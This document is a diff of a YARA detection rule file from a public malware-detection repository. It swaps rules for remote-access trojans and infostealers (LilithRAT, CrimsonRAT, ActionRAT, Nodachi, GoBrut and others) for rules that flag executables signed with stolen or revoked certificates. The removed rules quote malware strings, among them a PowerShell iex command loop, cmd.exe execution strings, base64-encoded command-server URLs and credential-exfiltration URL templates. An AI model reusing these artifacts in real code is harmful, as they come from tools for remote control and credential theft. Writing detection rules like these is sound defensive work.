+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TASK Holding ApS" and pe.signatures[i].serial=="33:37:05:c2:0b:56:e5:7f:60:b5:eb:19:1e:ef:0d:90")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Lilithrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_79906Faf4Fbd75Baa10B322356A07F6D : FILE
 {
 	meta:
-		description = "Detects LilithRAT"
+		description = "Detects NetSupport (client) signed executables"
 		author = "ditekSHen"
-		id = "87e56524-f557-5662-86bc-2b26e7c74aee"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "afca727c-ff08-5e47-9ef4-4cd2af96d294"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6812-L6839"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7211-L7222"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1e8ac8a329ff99318e12666ea1d90d21bb9b0dff656a5eb1ce741b940c99afd5"
+		logic_hash = "59862f31d0ba0cf56a93a86783ad802ea2e511845ab1d141aa224c0c61b720a7"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		hash1 = "132870a1ae6a0bdecaa52c03cfe97a47df8786f148fa8ca113ac2a8d59e3624a"
-		hash2 = "ab7b6e0b28995bdeea44f20c0aba47f95e1d6ba281af3541cd2c04dc6c2a3ad9"
-		hash3 = "b2eeb487046ba1d341fb964069b7e83027b60003334e04e41b467e35c3d2460f"
-		hash4 = "cebcda044c60b709ba4ee0fa9e1e7011a6ffc17285bcc0948d27f866ec8d8f20"
-
-	strings:
-		$pdb1 = "c:\\Users\\Groovi\\Documents\\Visual Studio 2008\\Projects\\TestDll\\" ascii
-		$pdb2 = "C:\\Users\\iceberg\\Downloads\\RAT-Server-master\\RAT-Server-master\\RAT\\Debug\\RAT.pdb" ascii
-		$pdb3 = "C:\\Users\\Samy\\Downloads\\Compressed\\Lilith-master\\Debug\\Lilith.pdb" ascii
-		$s1 = "log.txt" fullword ascii
-		$s2 = "keylog.txt" fullword ascii
-		$s3 = "File Listing Completed Successfully." fullword ascii
-		$s4 = "Download Execute" fullword ascii
-		$s5 = "File Downloaded and Executed Successfully." fullword ascii
-		$s6 = "C:\\WINDOWS\\system32\\cmd.exe" fullword ascii
-		$s7 = "CMD session closed" ascii
-		$s8 = "Restart requested: Restarting self" fullword ascii
-		$s9 = "Termination requested: Killing self" fullword ascii
-		$s10 = "Couldn't write to CMD: CMD not open" fullword ascii
-		$s11 = "keydump" fullword ascii
-		$s12 = "remoteControl" fullword ascii
-		$s13 = "packettype" fullword ascii
+		thumbprint = "f84ec9488bdac5f90db3c474b55e31a8f10a2026"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($pdb*) or 6 of ($s*) or (1 of ($pdb*) and 4 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NetSupport Ltd" and pe.signatures[i].serial=="79:90:6f:af:4f:bd:75:ba:a1:0b:32:23:56:a0:7f:6d")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Epicenterrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_030Ba877Daf788A0048D04A85B1F6Eca : FILE
 {
 	meta:
-		description = "Detects EpicenterRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6abe6e94-d7f5-5f88-96a6-a8fad599ef6a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "66689847-aa67-5029-9f37-cc410a564633"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6841-L6863"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7224-L7235"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e9086dff22e301f57c6a9bdb38fbed8e902d5b8ca20a5e5b3cda56db08d5582e"
+		logic_hash = "70b5b9011b53b7c9ac9dc286f3512a7a8bec5ec35ade0ee1c4bedd0a128994da"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$pdb1 = "c:\\Users\\Zombie\\Desktop\\MutantNinja\\" ascii
-		$pdb2 = "\\Epicenter Client\\" ascii
-		$s1 = "PROCESS_LIST<%SEP%>" fullword wide
-		$s2 = "GETREADY_RECV_FILE<%SEP%>" fullword wide
-		$s3 = "DISPLAY<%SEP%>" wide
-		$s4 = "GETSCREEN<%SEP%>" fullword wide
-		$s5 = "dumpImageName" fullword ascii
-		$s6 = "dumpLoc" fullword ascii
-		$s7 = "EXPECT<%SEP%>filelist<%SEP%>" fullword wide
-		$s8 = "<%FSEP%>FOLDER<%FSEP%>-<%SEP%>" fullword wide
-		$s9 = "KILLPROC<%SEP%>" fullword wide
-		$s10 = "LAUNCHPROC<%SEP%>" fullword wide
-		$s11 = "cmd.exe /c start /b " fullword wide
-		$s12 = "savservice" fullword wide
-		$s13 = "getvrs" fullword ascii
+		thumbprint = "1f10c5676a742548fb430fbc1965b20146b7325a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($pdb*) or 5 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Skylum Software USA, Inc." and pe.signatures[i].serial=="03:0b:a8:77:da:f7:88:a0:04:8d:04:a8:5b:1f:6e:ca")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Lastconn : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Fe83F58D001327Fbaafd7Bac76Ae6818 : FILE
 {
 	meta:
-		description = "Detects LastConn"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "18727c30-d84d-5ffa-acd4-2cc54e553604"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "5d41be99-85de-55bc-817b-eea510aff308"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6865-L6894"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7237-L7251"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "94f5874353d0fb475595373c06a0de91603cad9b435d35dc00febf90608d6b5a"
+		logic_hash = "8aac715daba042ca4a57cd65b98e6192c87a13e7e0c8ff4a3bc81c43223035ad"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "System.Net.Http.SysSR" fullword wide
-		$s2 = "System.Net.Http.WrSR" fullword wide
-		$s3 = "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK" fullword wide
-		$s4 = { 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 0c 6e
-               00 6f 00 74 00 69 00 66 00 79 00 04 06 12 80 e8
-               05 00 00 12 80 e8 08 75 00 73 00 65 00 72 00 08
-               74 00 65 00 61 00 6d 00 06 61 00 70 00 70 00 0c
-               6e 00 6f 00 61 00 75 00 74 00 68 00 }
-		$s5 = { 68 00 69 00 64 00 64 00 65 00 6e 00 10 64 00 69
-               00 73 00 61 00 6c 00 6c 00 6f 00 77 00 0e 65 00
-               78 00 74 00 65 00 6e 00 64 00 73 00 04 69 00 64
-               00 16 75 00 6e 00 69 00 71 00 75 00 65 00 49 00
-               74 00 65 00 6d 00 73 }
-		$s6 = "<RunFileOnes>d__" ascii
-		$s7 = "<UploadFile>d__" ascii
-		$s8 = "<ChunkUpload>d__" ascii
-		$s9 = "<StartFolder>d__" ascii
-		$s10 = "<ReadFileAlw>d__" ascii
-		$s12 = "<WriteFileToD>d__" ascii
-		$s13 = "<ReadFile>d__" ascii
-		$s14 = "<GetUpload>d__" ascii
-		$s15 = "CDropbox.Api.DropboxRequestHandler+<RequestJsonStringWithRetry>d__" ascii
+		thumbprint = "c130dd74928da75a42e9d32a1d3f2fd860d81566"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 12 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "A. Jensen FLY Fishing ApS" and (pe.signatures[i].serial=="fe:83:f5:8d:00:13:27:fb:aa:fd:7b:ac:76:ae:68:18" or pe.signatures[i].serial=="00:fe:83:f5:8d:00:13:27:fb:aa:fd:7b:ac:76:ae:68:18"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Crimsonrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0788260F8541539D97F49Ddaa837B166 : FILE
 {
 	meta:
-		description = "Detects CrimsonRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "54c9bbb2-9fa6-5c1f-9272-13255357ddbf"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "fb102e07-92fc-5ed8-a9cf-1cfd53f54281"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6896-L6920"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7253-L7265"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a40cf09dbaafb2e7b9130af1b40e46b4c38fed6185b16435ad4c118f9e6d56c7"
+		logic_hash = "48985ac2c450bc4b3c5de635717dcf3a7ecf64109aa4059477ba79606f7fc2a4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|" fullword wide
-		$s2 = "system volume information|" fullword wide
-		$s3 = "program files (x86)|" fullword wide
-		$s4 = "program files|" fullword wide
-		$s5 = "<SAVE_AUTO<|" fullword wide
-		$s6 = "add_up_files" fullword ascii
-		$s7 = "see_folders" ascii
-		$s8 = "see_files" ascii
-		$s9 = "see_scren" ascii
-		$s10 = "see_recording" ascii
-		$s11 = "see_responce" ascii
-		$s12 = "pull_data" ascii
-		$s13 = "do_process" ascii
-		$s14 = "do_updated" ascii
-		$s15 = "IPSConfig" fullword ascii
-		$s16 = "#Runing|ver#" wide
-		$s17 = "|fileslog=" wide
+		thumbprint = "569511fdc5e8dea454e97b005de1af5272d4bd32"
+		hash1 = "6ad407d5c7e4574c7452a1a27da532ee9a55bb4074e43aa677703923909169e4"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TechSmith Corporation" and pe.signatures[i].serial=="07:88:26:0f:85:41:53:9d:97:f4:9d:da:a8:37:b1:66")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Actionrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Ca5Acafb5Fdca6F8B5D66D1339A5D85 : FILE
 {
 	meta:
-		description = "Detects ActionRAT, CSharp and Delfi variants"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ceb4bd65-85c0-5614-a7cb-8f3f2f849eae"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "6f0e9e3a-52fc-5ffd-90b3-743d925388df"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6922-L6955"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7267-L7279"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1552cda3f02c08582e3dd97df98416635a25005081627097df181bfc6aac4665"
+		logic_hash = "2612e58b4e1a6fa65b32fe855b3542882c79345e93ab134933c893e90bb1a75c"
 		score = 75
-		quality = 21
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = /<action>(connect|command|drives|getfiles|upload|execute|download)<action>/ fullword wide
-		$x2 = "aHR0cDovLzE0NC45MS42NS4xMDAv" wide
-		$x3 = "aHR0cDovL21mYWhvc3QuZGRucy5uZXQv" wide
-		$f1 = "<updateCommand>b__" ascii
-		$f2 = "<getDrives>b__" ascii
-		$f3 = "<getStatus>b__" ascii
-		$f4 = "<getDirectories>b__" ascii
-		$f5 = "<updateUpload>b__" ascii
-		$f6 = "<infinity>b__" ascii
-		$f7 = "<uploadFile>b__" ascii
-		$s1 = "beaconURL" ascii
-		$s2 = "PingReply" ascii
-		$s3 = "updateUpload" ascii
-		$s4 = "updateCommand" ascii
-		$s5 = "runCommand" ascii
-		$s6 = "uploadFile" ascii
-		$s7 = "SELECT * FROM MSFT_NetAdapter WHERE ConnectorPresent = True AND DeviceID = '{0}'" fullword wide
-		$s8 = "SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion" fullword wide
-		$s9 = "Mozilla/3.0" fullword wide
-		$s10 = "|directory|N/A|" fullword wide
-		$s11 = "cmd.exe /c" fullword wide
-		$c1 = /Content-Disposition: form-data; name=(hostname|hid|id|action|secondary)/ fullword wide
-		$c2 = /(classification|updatecs|update|beacon)\.php/ wide
-		$c3 = "Content-Disposition: form-data;name=\"{0}\";filename=\"{1}\"filepath=\"{2}\"" fullword wide
-		$pdb1 = "D:\\Projects\\C#\\HTTP-Simple\\WindowsMediaPlayer - HTTP - " ascii
-		$pdb2 = "\\WindowsMediaPlayer10\\obj\\x86\\Release\\winow4.pdb" ascii
+		thumbprint = "ab25053a3f739ddd4505cf5d9d33b5cc50f3ab35"
+		hash1 = "a3ab41d9642a5a5aa6aa4fc1e316970e06fa26c6c545dd8ff56f82f41465ec08"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (#x1>5 or ( all of ($f*) and (1 of ($s*) or 2 of ($c*))) or 7 of ($s*) or all of ($c*) or ( all of ($pdb*) and 4 of them ) or (2 of ($x*) and 5 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Valve" and pe.signatures[i].serial=="0c:a5:ac:af:b5:fd:ca:6f:8b:5d:66:d1:33:9a:5d:85")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Nodachi : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_387Eeb89B8Bf626Bbf4C7C9F5B998B40 : FILE
 {
 	meta:
-		description = "Detects Nodachi infostealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "bce0c44d-7e75-5c51-ba93-75bd81896921"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "56dfc1b5-3aba-5c21-93e6-85d41a2a4415"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6957-L6972"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7281-L7293"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c8a262b862a47d5c0c9bd76b722aa4ceb55dd365b5dca35a61318d8a1c53269d"
+		logic_hash = "3436b7954e5488614f8f0998fe9eae7773d821c776436836d7b2230cd9c97f46"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "//AppData//Roaming//kavachdb//kavach.db" ascii
-		$s1 = "/upload/drive/v3/files/{fileId}" ascii
-		$s2 = "main.getTokenFromWeb" ascii
-		$s3 = "main.tokenFromFile" ascii
-		$s4 = "/goLazagne/" ascii
-		$s5 = "/extractor/withoutdrive/main.go" ascii
-		$s6 = "struct { Hostname string \"json:\\\"hostname\\\"\"; EncryptedUsername string \"json:\\\"encryptedUsername\\\"\"; EncryptedPassword string \"json:\\\"encryptedPassword\\\"\" }" ascii
-		$s7 = "C://Users//public//cred.json" ascii
+		thumbprint = "e94ad249747fd4b88750b2cd6d8d65ad33d3566d"
+		hash1 = "004f011b37e4446fa04b76aae537cc00f6588c0705839152ae2d8a837ef2b730"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and 3 of ($s*)) or (4 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ULTRA ACADEMY LTD" and pe.signatures[i].serial=="38:7e:eb:89:b8:bf:62:6b:bf:4c:7c:9f:5b:99:8b:40")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Iamthekingqueenofhearts : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_035B41766660B08Aaf121536F0D83D4D : FILE
 {
 	meta:
-		description = "IAmTheKing Queen Of Hearts payload"
+		description = "Detects signed excutable of DiskCryptor open encryption solution that offers encryption of all disk partitions"
 		author = "ditekSHen"
-		id = "b8d222f0-b3ce-5143-816b-4bbcde645672"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "80c803e1-16b8-583d-9d4f-3a0f693c9e24"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6974-L6991"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7295-L7306"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0aafeb1dce380ebe6cccc3c7f9564022e1a4cdcf20091943d2bfcc845129152d"
+		logic_hash = "924ed1d3c6a8d378471a2e5301f3a813ee8622135ce001d3061918d9454cdcc4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "{'session':[{'name':'" ascii
-		$s2 = "begin mainthread ok" wide
-		$s3 = "getcommand error" wide
-		$s4 = "querycode error" wide
-		$s5 = "Code = %d" wide
-		$s6 = "cookie size :%d" wide
-		$s7 = "send request error:%d" wide
-		$s8 = "PmMytex%d" wide
-		$s9 = "%s_%c%c%c%c_%d" wide
-		$s10 = "?what@exception@std@@UBEPBDXZ" ascii
+		thumbprint = "2022d012c23840314f5eeaa298216bec06035787"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Alexander Lomachevsky" and pe.signatures[i].serial=="03:5b:41:76:66:60:b0:8a:af:12:15:36:f0:d8:3d:4d")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Iamthekingqueenofclubs : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1A041Db92237C18948109789F627B3Cd : FILE
 {
 	meta:
-		description = "IAmTheKing Queen Of Clubs payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4d19a484-0483-5b3e-a9ad-1cd8ca263a04"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "0a5a6b19-0fbe-5e0c-bfb1-ca201207f6c7"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6993-L7007"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7308-L7320"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "28d7d3e9a3b7c104fc5b0fa38ce33b34596f16f6987c34a0e2e3fd93a8a908bd"
+		logic_hash = "f5e07eb58a68dea062522869c43daeddab666f12b078a4f2ce9aa37885e46cbd"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Not Support!" fullword wide
-		$s2 = "%s|%s|%s|%s" fullword wide
-		$s3 = "cmd.exe" fullword wide
-		$s4 = "for(;;){$S=Get-Content \"%s\";IF($S){\"\" > \"%s\";$t=iex $S 2>\"%s\";$t=$t+' ';echo $t >>\"%s\";}sleep -m " wide
-		$s5 = "PowerShell.exe -nop -c %s" fullword wide
-		$s6 = "%s \"%s\" Df" fullword wide
-		$s7 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)" fullword ascii
+		thumbprint = "2315cf802aaf96d11f18766315239016e533bf32"
+		hash1 = "a0338becbfe808bc7655d8b6c825e2e99b37945e5d8fc43a83aec479d64f422d"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Amitotic" and pe.signatures[i].serial=="1a:04:1d:b9:22:37:c1:89:48:10:97:89:f6:27:b3:cd")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Iamtheking : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_06Df5C318759D6Ea9D090Bfb2Faf1D94 : FILE
 {
 	meta:
-		description = "IAmTheKing payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "cf0d7c8d-0ac3-542d-b42e-f215af36044b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8c1f226f-6fc0-5136-ac19-7d88d7505a8e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7009-L7029"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7322-L7334"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1cc2aa9b672b8519a3e8a22e31403fb7adace0d430f9cab160e9a7d52e56e875"
+		logic_hash = "3be08901a44c1c94cfb93e56075270ed974399ccc0a4dce15299456dad645822"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "DeleteFile \"%s\" Failed,Err=%d" wide
-		$s2 = "DeleteFile \"%s\" Success" wide
-		$s3 = "ExcuteFile \"%s\" Failed,Err=%d" wide
-		$s4 = "ExcuteFile \"%s\" Success" wide
-		$s5 = "CreateDownLoadFile \"%s\" Failed,Error=%d" wide
-		$s6 = "uploadFile \"%s\" Failed,errorcode=%d" wide
-		$s7 = "CreateUpLoadFile \"%s\" Success" wide
-		$s8 = "im the king" ascii
-		$s9 = "dont disturb me" fullword ascii
-		$s10 = "kill me or love me" fullword ascii
-		$s11 = "please leave me alone" fullword ascii
-		$s12 = "calculate the NO." fullword ascii
-		$s13 = "\\1-driver-vmsrvc" fullword ascii
+		thumbprint = "4418e9a7aab0909fa611985804416b1aaf41e175"
+		hash1 = "47dbb2594cd5eb7015ef08b7fb803cd5adc1a1fbe4849dc847c0940f1ccace35"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 7 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SpiffyTech Inc." and pe.signatures[i].serial=="06:df:5c:31:87:59:d6:ea:9d:09:0b:fb:2f:af:1d:94")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Gobrut : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_330000026551Ae1Bbd005Cbfbd000000000265 : FILE
 {
 	meta:
-		description = "Detects unknown Go multi-bruteforcer bot (StealthWorker / GoBrut) against multiple systems: QNAP, MagOcart, WordPress, Opencart, Bitrix, Postgers, MySQL, Drupal, Joomla, SSH, FTP, Magneto, CPanel"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f5605123-12d9-55d1-8a32-acebf16834f8"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "7f86e427-110f-5bcc-bb53-ca534f7444fc"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7031-L7086"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7337-L7351"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fb93d0dcf7f38294444ac6d2e1a7a126027ce07f0305af9ae0f8aa8f4b806c5c"
+		logic_hash = "ae836069665d088c6a309efe5166e260836dce6398c51701b2274515bdaa2cbd"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "/src/StealthWorker/Worker" ascii
-		$x2 = "/go/src/Cloud_Checker/" ascii
-		$x3 = "brutXmlRpc" ascii
-		$s1 = "main.WPBrut" ascii
-		$s2 = "main.WPChecker" ascii
-		$s3 = "main.WooChecker" ascii
-		$s4 = "main.StandartBrut" ascii
-		$s5 = "main.StandartBackup" ascii
-		$s6 = "main.WpMagOcartType" ascii
-		$s7 = "main.StandartAdminFinder" ascii
-		$w1 = "/WorkerQnap_brut/main.go" ascii
-		$w2 = "/WorkerHtpasswd_brut/main.go" ascii
-		$w3 = "/WorkerOpencart_brut/main.go" ascii
-		$w4 = "/WorkerBitrix_brut/main.go" ascii
-		$w5 = "/WorkerPostgres_brut/main.go" ascii
-		$w6 = "/WorkerMysql_brut/main.go" ascii
-		$w7 = "/WorkerFTP_brut/main.go" ascii
-		$w8 = "/WorkerSSH_brut/main.go" ascii
-		$w9 = "/WorkerDrupal_brut/main.go" ascii
-		$w10 = "/WorkerJoomla_brut/main.go" ascii
-		$w11 = "/WorkerMagento_brut/main.go" ascii
-		$w12 = "/WorkerWHM_brut/main.go" ascii
-		$w13 = "/WorkerCpanel_brut/main.go" ascii
-		$w14 = "/WorkerPMA_brut/main.go" ascii
-		$w15 = "/WorkerWP_brut/main.go" ascii
-		$p1 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=cpanel" ascii
-		$p2 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=ftpBrut" ascii
-		$p3 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=mysql_b" ascii
-		$p4 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=qnapBrt" ascii
-		$p5 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=OCartBrt" ascii
-		$p6 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=phpadmin" ascii
-		$p7 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=bitrixBrt" ascii
-		$p8 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=drupalBrt" ascii
-		$p9 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=joomlaBrt" ascii
-		$p10 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=htpasswdBrt" ascii
-		$p11 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=magentoBrt" ascii
-		$p12 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=postgres_b" ascii
-		$p13 = "AUTH_FORM=Y&TYPE=AUTH&USER_LOGIN=%s&USER_PASSWORD=%s&Login=&captcha_sid=&captcha_word=" ascii
-		$p14 = "%qlog=%s&pwd=%s&wp-submit=Log In&redirect_to=%s/wp-admin/&testcookie=1" ascii
-		$p15 = "name=%s&pass=%s&form_build_id=%s&form_id=user_login_form&op=Log" ascii
-		$p16 = "username=%s&passwd=%s&option=com_login&task=login&return=%s&%s=1" ascii
-		$v1_1 = "brutC" fullword ascii
-		$v1_2 = "XmlRpc" fullword ascii
-		$v1_3 = "shouldRetry$" ascii
-		$v1_4 = "HttpC|%" ascii
-		$v1_5 = "ftpH%_" ascii
-		$v1_6 = "ssh%po" ascii
-		$v1_7 = "?sevlyar/4-da" ascii
+		thumbprint = "e168609353f30ff2373157b4eb8cd519d07a2bff"
+		hash1 = "a471fdf6b137a6035b2a2746703cd696089940698fd533860d34e71cc6586850"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x457f) and ((2 of ($x*) and 3 of ($s*)) or all of ($s*) or 6 of ($w*) or 6 of ($p*) or 6 of ($v1*) or 12 of them )
